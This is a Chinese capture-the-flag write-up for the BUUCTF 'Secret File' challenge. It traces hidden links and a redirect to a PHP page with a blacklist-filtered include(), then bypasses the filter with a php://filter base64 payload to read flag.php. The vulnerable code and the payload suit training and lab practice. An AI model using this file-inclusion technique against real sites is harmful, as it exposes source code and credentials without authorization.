BUUCTF [极客大挑战 2019]Secret File

题目

查看网页源代码

<!DOCTYPE html>

<html>

<style type="text/css" >
#master {
    position:absolute;
    left:44%;
    bottom:0;
    text-align :center;
        }
        p,h1 {
                cursor: default;
        }
</style>

        <head>
                <meta charset="utf-8">
                <title>蒋璐源的秘密</title>
        </head>

        <body style="background-color:black;"><br><br><br><br><br><br>

            <h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么?</h1><br><br><br>

            <p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你,去找吧!把一切都放在那里了!</p>
            <a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
            <div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
        </body>
</html>

 发现了./Archive_room.php修改一下url

http://92277a41-f6d8-4b35-9cf8-40e07517bd1b.node4.buuoj.cn:81/Archive_room.php

点一下SECTET发现很快就进入下一个网址了

看一看网页源代码,在Archive_room.php的源代码中发现了一点端倪

<!DOCTYPE html>

<html>

<style type="text/css" >
#master	{
    position:absolute;
    left:44%;
    bottom:20;
    text-align :center;
    	}
        p,h1 {
                cursor: default;
        }
</style>

	<head>
		<meta charset="utf-8">
		<title>绝密档案</title>
	</head>

	<body style="background-color:black;"><br><br><br><br><br><br>
		
		<h1 style="font-family:verdana;color:red;text-align:center;">
		我把他们都放在这里了,去看看吧		<br>
		</h1><br><br><br><br><br><br>
		<a id="master" href="./action.php" style="background-color:red;height:50px;width:200px;color:#FFFFFF;left:44%;">
			<font size=6>SECRET</font>
		</a>
	<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
	</body>

</html>

 里面有个./action.php我们访问一下

 但是发现很快的访问了end.php。我们没有直接看见action.php那只能抓包看看了

我们发现这个action.php包有个返回包

 

HTTP/1.1 302 Found
Server: openresty
Date: Wed, 27 Apr 2022 12:01:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Location: end.php
X-Powered-By: PHP/7.3.11
Content-Length: 63

<!DOCTYPE html>

<html>
<!--
   secr3t.php        
-->
</html>

 发现了一个新的php,访问一下看看

 来到了一个新的网址,是一段php源码分析一下

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>
stristr() 函数查找字符串在另一个字符串中第一次出现的位置。

如果成功,则返回字符串的其余部分(从匹配点)。如果没有找到该字符串,则返回 false。


x || y	或	如果 x 和 y 至少有一个为 true,则返回 true


php://filter 是一种设计用来允许过滤器程序在打开时成为流的封装协议。这对于单独具有完整功能的文件函数非常有用,否则就没有机会在读取内容之前将过滤器应用于流之上。
该协议语法为:php://filter:/=
resource=<要过滤的数据流>   //这个参数是必须的。它指定了你要筛选过滤的数据流。


base64

convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用 base64_encode()和 base64_decode()函数处理所有的流数据。

 那根据我们读源码可知修改url将file的值被赋为flag.php即可访问,但是在修改url中不能存在../,tp,input,data等字符,但是我们需要将flag通过过滤再输出出来

那么我们通过修改url就可以尝试访问flag了

?file=php://filter/convert.base64-encode/resource=flag.php 

对下面的flag进行base64解密就好了 

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

仲瑿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值